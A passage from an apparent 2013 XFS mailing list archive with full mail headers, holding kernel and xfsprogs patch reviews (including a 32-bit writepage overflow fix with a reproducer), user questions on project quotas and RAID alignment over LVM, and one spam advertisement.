== XR_EOF) { > retval = 1; > goto out; > ^^^^^^^^^ out_free_list? > } > > --Mark. > From jeff.liu@oracle.com Wed Sep 25 02:37:27 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BF05E7F3F for ; Wed, 25 Sep 2013 02:37:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7E9118F804C for ; Wed, 25 Sep 2013 00:37:27 -0700 (PDT) X-ASG-Debug-ID: 1380094646-04bdf02f2114201b0001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id y1ACAYcVE08tDNGd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 00:37:26 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by aserp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8P7bONY010206 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 25 Sep 2013 07:37:25 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8P7bNd1013155 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 25 Sep 2013 07:37:24 GMT Received: from abhmt107.oracle.com (abhmt107.oracle.com [141.146.116.59]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8P7bMcR014136; Wed, 25 Sep 2013 07:37:23 GMT Received: from [192.168.1.104] (/123.119.100.191) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 25 Sep 2013 00:37:22 -0700 Message-ID: <524292E3.4010902@oracle.com> Date: Wed, 25 Sep 2013 15:38:11 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: Dave Chinner CC: "xfs@oss.sgi.com" Subject: Re: [PATCH] xfs: fix the extent count when allocating an new indirection array entry References: <523DAF67.9070206@oracle.com> <20130923002448.GL12541@dastard> X-ASG-Orig-Subj: Re: [PATCH] xfs: fix the extent count when allocating an new indirection array entry In-Reply-To: <20130923002448.GL12541@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1380094646 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140906 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 09/23/2013 08:24 AM, Dave Chinner wrote: > On Sat, Sep 21, 2013 at 10:38:31PM +0800, Jeff Liu wrote: >> From: Jie Liu >> >> At xfs_iext_add(), if extent(s) are being appended to the last >> page in the indirection array and the new extent(s) don't fit >> in the page, the number of extents(erp->er_extcount) in a new >> allocated entry should be the minimum value between count and >> XFS_LINEAR_EXTS, instead of count. > > Definitely looks like a bug, but what are the symptoms of it and how > did you find the problem? Is there any test case that demonstrates a > problem with the er_extcount being set incorrectly here? Sorry for the too late response, I found this problem while reading the code. However, I can not figure out a test case to break the kernel until now. :( > >> Signed-off-by: Jie Liu >> --- >> fs/xfs/xfs_inode_fork.c | 8 ++++---- >> 1 file changed, 4 insertions(+), 4 deletions(-) >> >> diff --git a/fs/xfs/xfs_inode_fork.c b/fs/xfs/xfs_inode_fork.c >> index 02f1083..dfb4226 100644 >> --- a/fs/xfs/xfs_inode_fork.c >> +++ b/fs/xfs/xfs_inode_fork.c >> @@ -1035,11 +1035,11 @@ xfs_iext_add( >> >> while (count) { >> erp = xfs_iext_irec_new(ifp, erp_idx); >> - erp->er_extcount = count; >> - count -= MIN(count, (int)XFS_LINEAR_EXTS); >> - if (count) { >> + erp->er_extcount = MIN(count, >> + (int)XFS_LINEAR_EXTS); >> + count -= erp->er_extcount; > > count is declared as an int, whereas XFS_LINEAR_EXTS probably ends > up with a type of uint because of a cast in the macro. because we > are decrementing to zero, the count can be declared as a uint, too, > and the cast in the MIN() can go away. Indeed, MIN() should be > converted to min() seeing as we are touching the code here, and if > you want to retain the current types, the min_t() is appropriate, > not min(x, (some cast)y).... Ok, will fix it. Thanks, -Jeff From jeff.liu@oracle.com Wed Sep 25 03:09:40 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F0A777F3F for ; Wed, 25 Sep 2013 03:09:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id B31B230405F for ; Wed, 25 Sep 2013 01:09:36 -0700 (PDT) X-ASG-Debug-ID: 1380096575-04bdf053874b4450001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id XeofMcqaUb6Q9yNx (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 01:09:35 -0700 (PDT) X-Barracuda-Envelope-From: jeff.liu@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from acsinet22.oracle.com (acsinet22.oracle.com [141.146.126.238]) by userp1040.oracle.com (Sentrion-MTA-4.3.1/Sentrion-MTA-4.3.1) with ESMTP id r8P89X6W030852 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 25 Sep 2013 08:09:34 GMT Received: from userz7021.oracle.com (userz7021.oracle.com [156.151.31.85]) by acsinet22.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8P89W4w017935 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 25 Sep 2013 08:09:33 GMT Received: from abhmt117.oracle.com (abhmt117.oracle.com [141.146.116.69]) by userz7021.oracle.com (8.14.4+Sun/8.14.4) with ESMTP id r8P89WSi024014 for ; Wed, 25 Sep 2013 08:09:32 GMT Received: from [192.168.1.104] (/123.119.100.191) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 25 Sep 2013 01:09:32 -0700 Message-ID: <52429A6C.3050908@oracle.com> Date: Wed, 25 Sep 2013 16:10:20 +0800 From: Jeff Liu User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:11.0) Gecko/20120410 Thunderbird/11.0.1 MIME-Version: 1.0 To: "xfs@oss.sgi.com" Subject: [PATCH v2 RESEND] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine Content-Type: text/plain; charset=ISO-8859-1 X-ASG-Orig-Subj: [PATCH v2 RESEND] xfs: fix dead loop at xfs_vm_writepage() on 32bit machine Content-Transfer-Encoding: 7bit X-Source-IP: acsinet22.oracle.com [141.146.126.238] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1380096575 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=MAILTO_TO_SPAM_ADDR X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140907 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email From: Jie Liu Write a file with an offset greater than 16TB on 32-bit system and then trigger page write-back via sync(1) as below will cause the task hang in a little while: # block_size=4096 # offset=$(((2**32 - 1) * $block_size)) # xfs_io -f -c "pwrite $offset $block_size" /storage/test_file # sync INFO: task sync:2590 blocked for more than 120 seconds. "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message. sync D c1064a28 0 2590 2097 0x00000000 ..... Call Trace: [] ? ttwu_do_wakeup+0x18/0x130 [] ? try_to_wake_up+0x1ce/0x220 [] ? wake_up_process+0x1f/0x40 [] ? wake_up_worker+0x1e/0x30 [] schedule+0x23/0x60 [] schedule_timeout+0x18d/0x1f0 [] ? do_raw_spin_unlock+0x4e/0x90 [] ? __queue_delayed_work+0x91/0x150 [] ? do_raw_spin_lock+0x3f/0x100 [] ? do_raw_spin_unlock+0x4e/0x90 [] wait_for_completion+0x7d/0xc0 [] ? try_to_wake_up+0x220/0x220 [] sync_inodes_sb+0x92/0x180 [] sync_inodes_one_sb+0x15/0x20 [] iterate_supers+0xb8/0xc0 [] ? fdatawrite_one_bdev+0x20/0x20 [] sys_sync+0x31/0x80 [] sysenter_do_call+0x12/0x28 The reason is that the end_index is unsigned long with maximum value '2^32-1=4294967295' on 32-bit platform, and the given offset cause it wrapped to 0, so that the following codes will repeat again and again until the task schedule time out: end_index = offset >> PAGE_CACHE_SHIFT; last_index = (offset - 1) >> PAGE_CACHE_SHIFT; if (page->index >= end_index) { unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); /* * Just skip the page if it is fully outside i_size, e.g. due * to a truncate operation that is in progress. */ if (page->index >= end_index + 1 || offset_into_page == 0) { ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ unlock_page(page); return 0; } To check a page is fully outsids i_size or not, we can change the logic to: if (page->index > end_index || (page->index == end_index && offset_into_page == 0)) Secondly, there still has another similar issue when calculating the end offset for mapping the filesystem blocks to the file blocks for delalloc. With the same tests to above, run unmount(8) will cause kernel panic if CONFIG_XFS_DEBUG is enabled: XFS: Assertion failed: XFS_FORCED_SHUTDOWN(ip->i_mount) || \ ip->i_delayed_blks == 0, file: fs/xfs/xfs_super.c, line: 964 kernel BUG at fs/xfs/xfs_message.c:108! invalid opcode: 0000 [#1] SMP task: edddc100 ti: ec6ee000 task.ti: ec6ee000 EIP: 0060:[] EFLAGS: 00010296 CPU: 1 EIP is at assfail+0x2b/0x30 [xfs] .............. Call Trace: [] xfs_fs_destroy_inode+0x74/0x120 [xfs] [] destroy_inode+0x31/0x50 [] evict+0xef/0x170 [] dispose_list+0x32/0x40 [] evict_inodes+0xca/0xe0 [] generic_shutdown_super+0x46/0xd0 [] kill_block_super+0x29/0x70 [] deactivate_locked_super+0x44/0x70 [] deactivate_super+0x47/0x60 [] mntput_no_expire+0xcd/0x120 [] SyS_umount+0xa8/0x370 [] SyS_oldumount+0x1e/0x20 [] sysenter_do_call+0x12/0x28 That because the end_offset is evaluated to 0 same to above, hence the mapping and covertion for dealloc file blocks to file system blocks did not happened. This patch just fixed both issues. Reported-by: Michael L. Semon Signed-off-by: Jie Liu --- v2: don't reset the s_max_bytes to MAX_LFS_FILESIZE, instead, revise the page offset check up strategy to avoid the potential overflow. v1: http://oss.sgi.com/archives/xfs/2013-07/msg00154.html fs/xfs/xfs_aops.c | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/fs/xfs/xfs_aops.c b/fs/xfs/xfs_aops.c index 41a6950..6059d00 100644 --- a/fs/xfs/xfs_aops.c +++ b/fs/xfs/xfs_aops.c @@ -969,7 +969,9 @@ xfs_vm_writepage( offset = i_size_read(inode); end_index = offset >> PAGE_CACHE_SHIFT; last_index = (offset - 1) >> PAGE_CACHE_SHIFT; - if (page->index >= end_index) { + if (page->index < end_index) + end_offset = (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT; + else { unsigned offset_into_page = offset & (PAGE_CACHE_SIZE - 1); /* @@ -978,7 +980,8 @@ xfs_vm_writepage( * page so that reclaim stops reclaiming it. Otherwise * xfs_vm_releasepage() is called on it and gets confused. */ - if (page->index >= end_index + 1 || offset_into_page == 0) + if (page->index > end_index || + (page->index == end_index && offset_into_page == 0)) goto redirty; /* @@ -990,11 +993,9 @@ xfs_vm_writepage( * not written out to the file." */ zero_user_segment(page, offset_into_page, PAGE_CACHE_SIZE); + end_offset = offset; } - end_offset = min_t(unsigned long long, - (xfs_off_t)(page->index + 1) << PAGE_CACHE_SHIFT, - offset); len = 1 << inode->i_blkbits; bh = head = page_buffers(page); -- 1.7.9.5 From jex_lin@miiicasa.com Wed Sep 25 05:07:22 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id F22AD7F3F for ; Wed, 25 Sep 2013 05:07:21 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id E0CFE304032 for ; Wed, 25 Sep 2013 03:07:18 -0700 (PDT) X-ASG-Debug-ID: 1380103636-04cb6c2e9f13dfa70001-NocioJ Received: from mail-wi0-f172.google.com (mail-wi0-f172.google.com [209.85.212.172]) by cuda.sgi.com with ESMTP id QqARovaUEWTAk4nN (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 25 Sep 2013 03:07:17 -0700 (PDT) X-Barracuda-Envelope-From: jex_lin@miiicasa.com X-Barracuda-Apparent-Source-IP: 209.85.212.172 Received: by mail-wi0-f172.google.com with SMTP id hn9so5140837wib.17 for ; Wed, 25 Sep 2013 03:07:16 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=zpU/A6F/9E72h63AxqdAyQAHvSQageuoMAKilPY7ehE=; b=hvEBvJ8HO7FFZmrHbL0RM5Hutw7bZNnjyLd5F8lqRrEOBNEBf7OsuqRrm5SFCZg9za vb0qBZUlNiA7nKEFQmbCtCGUifBj55w85GBcjelVLFzfUeF4EXbb6VPjX5kKqheGIbY1 D/nNQ6QUWS5kFw9T2HrL7VLW/NrmdCSkdOFQ6egraurCpVytv42yNY1MG4eK48Dq0BZb awQV0FsTmavk14Qrbdaf5WDDa9x+7wRjKyzTzG8/R25zziSg1yA+fJYFMc9UlxbAwETD v5RWqOVw+0CMXYD9EwsbViW82TfOj3NFO28tfU3t3VT4xXk3QYLn6q5NJTQfIgGg++X8 tm6g== X-Gm-Message-State: ALoCoQn78JXU1r97pOAVM4e2GYsc3YTFHV/wWO6oshY4xpQAh0sMtcBrm9aXggZqruJsppMWSgMe MIME-Version: 1.0 X-Received: by 10.180.206.42 with SMTP id ll10mr22161351wic.50.1380103636265; Wed, 25 Sep 2013 03:07:16 -0700 (PDT) Received: by 10.194.40.134 with HTTP; Wed, 25 Sep 2013 03:07:16 -0700 (PDT) X-Originating-IP: [218.211.33.134] Date: Wed, 25 Sep 2013 18:07:16 +0800 Message-ID: Subject: Thanks for this great filesystem, I encounter a problem in using XFS project quota. From: Jex Lin X-ASG-Orig-Subj: Thanks for this great filesystem, I encounter a problem in using XFS project quota. To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=001a11c38462fe3a5b04e7326a6d X-Barracuda-Connect: mail-wi0-f172.google.com[209.85.212.172] X-Barracuda-Start-Time: 1380103637 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140909 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --001a11c38462fe3a5b04e7326a6d Content-Type: text/plain; charset=ISO-8859-1 OS : ubuntu 13.04 xfsprogs version : 3.1.9 xfsdump version : 3.1.1 ------------------------------------------------------------ In this case : There are three folders (A, B and C) in XFS filesystem. I set quota to A and B folder, C folder doesn't be set quota. The report of A folder is correct when I moved file to B folder from A folder, but when I move file to C folder from A folder, the report of A folder has wrong display with used. Capacity of the file still be added in "used" of report of A folder. Any help would be very appreciated. Best regards, Jex Lin --001a11c38462fe3a5b04e7326a6d Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
    OS : ubuntu 13.04
    xfsprogs version : 3.1.9<= /div>
    xfsdump version : 3.1.1

    ----------------= --------------------------------------------

    In th= is case :

    There are three folders (A, B and C) in XFS filesystem.=
    I set quota to A and B folder, C folder doesn't =A0be set qu= ota.=A0

    The report of A folder is correct when I m= oved file to B folder from A folder,=A0
    but when I move file to C folder from A folder, the report of A folder= has wrong display with used.

    Capacity of the file= still be added in "used" of report of A folder.

    Any help would be very appreciated.

    Bes= t regards,

    Jex Lin
    --001a11c38462fe3a5b04e7326a6d-- From consultanta@ymarketing.ro Wed Sep 25 06:52:46 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.5 required=5.0 tests=HTML_MESSAGE,MIME_HTML_ONLY, MPART_ALT_DIFF,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B1F017F3F for ; Wed, 25 Sep 2013 06:52:46 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9D2F2304043 for ; Wed, 25 Sep 2013 04:52:46 -0700 (PDT) X-ASG-Debug-ID: 1380109964-04cbb02c3e13e0310001-NocioJ Received: from mail.ymarketing.ro (mail.ymarketing.ro [77.36.101.14]) by cuda.sgi.com with ESMTP id gP0xerPgfqnmHfs5 for ; Wed, 25 Sep 2013 04:52:45 -0700 (PDT) X-Barracuda-Envelope-From: consultanta@ymarketing.ro X-Barracuda-Apparent-Source-IP: 77.36.101.14 Received: from localhost (localhost [127.0.0.1]) by mail.ymarketing.ro (Postfix) with ESMTP id 776F884EE2 for ; Wed, 25 Sep 2013 14:47:17 +0300 (EEST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=ymarketing.ro; h= message-id:content-type:content-type:mime-version:subject :subject:date:date:reply-to:to:from:from; s=dkim; t=1380109636; x=1380973636; bh=xovQ6LzhLYJV5i9WbSlazNlBB6DajO2KQ6suL97w0Ow=; b= pDeeKx6hyGaDSAphgYpere3+AvC4rda9gmhk4WTWn+QMuDItwHJh1j8WO55n7oRW v7NTs4Rs5Z6XCzLnRC9FjvMidsEgTUGTDlTCu11ztJz3iytojY1EtXG796Ez0G2W UanbTAfZFSzpUgaL1hwzM7ePOnpaKkXrPEcpiFdbLR0= X-Virus-Scanned: Debian amavisd-new at mail.ymarketing.ro Received: from mail.ymarketing.ro ([127.0.0.1]) by localhost (mail.ymarketing.ro [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id IjkcQRHXwH-K for ; Wed, 25 Sep 2013 14:47:16 +0300 (EEST) Received: from emachinef0bb72 (unknown [109.103.88.153]) by mail.ymarketing.ro (Postfix) with ESMTPA id BE9F984DA2 for ; Wed, 25 Sep 2013 14:47:16 +0300 (EEST) From: "Consultanta cesiuni" To: "xfs@oss.sgi.com" Reply-To: consultanta@ymarketing.ro Date: Wed, 25 Sep 2013 14:52:45 +0300 Subject: Consultanta cesiuni, preluari firme MIME-Version: 1.0 X-ASG-Orig-Subj: Consultanta cesiuni, preluari firme Content-Type: multipart/alternative; boundary="_=aspNetEmail=_e02101d72d6b499d93f8e512a9f029cb" Message-ID: X-Barracuda-Connect: mail.ymarketing.ro[77.36.101.14] X-Barracuda-Start-Time: 1380109965 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.15 X-Barracuda-Spam-Status: No, SCORE=0.15 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, HTML_MESSAGE, MIME_HTML_ONLY, MIME_HTML_ONLY_MULTI, MPART_ALT_DIFF X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140911 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.00 HTML_MESSAGE BODY: HTML included in message 0.14 MPART_ALT_DIFF BODY: HTML and text parts are different 0.00 MIME_HTML_ONLY_MULTI Multipart message only has text/html MIME parts --_=aspNetEmail=_e02101d72d6b499d93f8e512a9f029cb Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <=21DOCTYPE HTML PUBLIC =22-//W3C//DTD HTML 4=2E0 Transitional//EN=22>=0D= =0A=0D=0A=0D=0A=0D=0A=0D=0AAsiguram consultanta pentru:

    =0D=0A

    - preluari firme cu datorii

    =0D=0A

    - schimbare sediu so= cial

    =0D=0A

    - infiintari= firme noi pentru cetateni romani sau =0D=0Astraini, inclusiv asociati si= administrator

    =0D=0A

    - = consultanta fiscala reducere =0D=0Ataxe

    =0D=0A

    Contact: 0753=2E92=2E33=2E95 ; consultanta=40ymarketing=2Eto

    =0D=0A=

    Dezabonare: consultanta=40ymarketing=2Eto

    =0D= =0A --_=aspNetEmail=_e02101d72d6b499d93f8e512a9f029cb-- From stew@messeduphare.co.uk Wed Sep 25 07:56:16 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.1 required=5.0 tests=FROM_12LTRDOM,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1F2387F3F for ; Wed, 25 Sep 2013 07:56:16 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id F0095304032 for ; Wed, 25 Sep 2013 05:56:15 -0700 (PDT) X-ASG-Debug-ID: 1380113773-04cb6c35016c350001-NocioJ Received: from mail-oa0-f45.google.com (mail-oa0-f45.google.com [209.85.219.45]) by cuda.sgi.com with ESMTP id cu02S3voC8rWx8Mv (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 25 Sep 2013 05:56:13 -0700 (PDT) X-Barracuda-Envelope-From: stew@messeduphare.co.uk X-Barracuda-Apparent-Source-IP: 209.85.219.45 Received: by mail-oa0-f45.google.com with SMTP id o17so959349oag.32 for ; Wed, 25 Sep 2013 05:56:13 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:mime-version:date:message-id:subject:from:to :content-type; bh=ZRANWB2NSEN6Cx1RbAVPtH7hZxD5kG1nWuW7fffYWXs=; b=eizzKbdRnufuLHzStSWxZrJAnSQR8INLDgtxj3RC01Ik6EW7NpIvCoDEfo1Dwzr5Ip US+k5idv+OcHll/i+SWTRpSvGmvkh/KizxaRBNoAf9YzKtkZI7F7M/ggTaxgTU2JkgH1 J2vr2qU7VN9fiOXepqqyZj2qo5Qh73YA9vmxS/tTUXg1lK5Z6ygNLR6ui858nYpy9ovB eYmT1e35lV0olh8WoQGdjnYE5MzXkJx45meGpykMj2AlVgirgiQUQSMXNVKyEY5/Rpa0 q05KtxhWsvpGQRX7GL1vriLfnTozsqO9G0VTqjAbmK1O2zD83fqSKqh2SIoX/hG+it/7 pK0w== X-Gm-Message-State: ALoCoQmrAcuWauWy9h/B3xjID8bHk+DvEUv4MIhp1ltQ9Ti3TaNUw8xkTARmuTxjHKYOV/nrgwb8 MIME-Version: 1.0 X-Received: by 10.60.93.105 with SMTP id ct9mr6949233oeb.42.1380113773310; Wed, 25 Sep 2013 05:56:13 -0700 (PDT) Received: by 10.182.24.74 with HTTP; Wed, 25 Sep 2013 05:56:13 -0700 (PDT) Date: Wed, 25 Sep 2013 13:56:13 +0100 Message-ID: Subject: xfs hardware RAID alignment over linear lvm From: Stewart Webb X-ASG-Orig-Subj: xfs hardware RAID alignment over linear lvm To: xfs@oss.sgi.com Content-Type: multipart/alternative; boundary=047d7b33d5a0354b7d04e734c7e6 X-Barracuda-Connect: mail-oa0-f45.google.com[209.85.219.45] X-Barracuda-Start-Time: 1380113773 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140912 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message --047d7b33d5a0354b7d04e734c7e6 Content-Type: text/plain; charset=ISO-8859-1 Hi All, I am trying to do the following: 3 x Hardware RAID Cards each with a raid 6 volume of 12 disks presented to the OS all raid units have a "stripe size" of 512 KB so given the info on the xfs.org wiki - I sould give each filesystem a sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity disks) all well and good But - I would like to use Linear LVM to bring all 3 cards into 1 logical volume - here is where my question crops up: Does this effect how I need to align the filesystem? Regards -- Stewart Webb --047d7b33d5a0354b7d04e734c7e6 Content-Type: text/html; charset=ISO-8859-1
    Hi All,

    I am trying to do the following:
    3 x Hardware RAID Cards each with a raid 6 volume of 12 disks presented to the OS
    all raid units have a "stripe size" of 512 KB

    so given the info on the xfs.org wiki - I sould give each filesystem a sunit of 512 KB and a swidth of 10 (because RAID 6 has 2 parity disks)

    all well and good

    But - I would like to use Linear LVM to bring all 3 cards into 1 logical volume -
    here is where my question crops up:
    Does this effect how I need to align the filesystem?

    Regards

    --
    Stewart Webb
    --047d7b33d5a0354b7d04e734c7e6-- From tinguely@sgi.com Wed Sep 25 08:26:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id BC4B77F3F for ; Wed, 25 Sep 2013 08:26:49 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 5B61E8F8074; Wed, 25 Sep 2013 06:26:46 -0700 (PDT) Message-ID: <5242E494.7080900@sgi.com> Date: Wed, 25 Sep 2013 08:26:44 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Li Zhong CC: xfsprogs , Chandra Seetharaman Subject: Re: [PATCH v2] xfsprogs: fix potential memory leak in verify_set_primary_sb() References: <1379829679.4089.2.camel@ThinkPad-T5421> <5241E125.7010902@sgi.com> <1380094327.2526.5.camel@ThinkPad-T5421> In-Reply-To: <1380094327.2526.5.camel@ThinkPad-T5421> Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit On 09/25/13 02:32, Li Zhong wrote: > This patch tries to fix CID 997012, 997013 and 997014 reported by Coverity scan, > as suggested by sekharan. > > v2: as Mark pointed out, out in the for loop before also needs list to > be freed. Also remove out lable as it is not referenced any more. > > Signed-off-by: Li Zhong > --- Thank-you, that looks great. Reviewed-by: Mark Tinguely From sandeen@sandeen.net Wed Sep 25 09:28:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 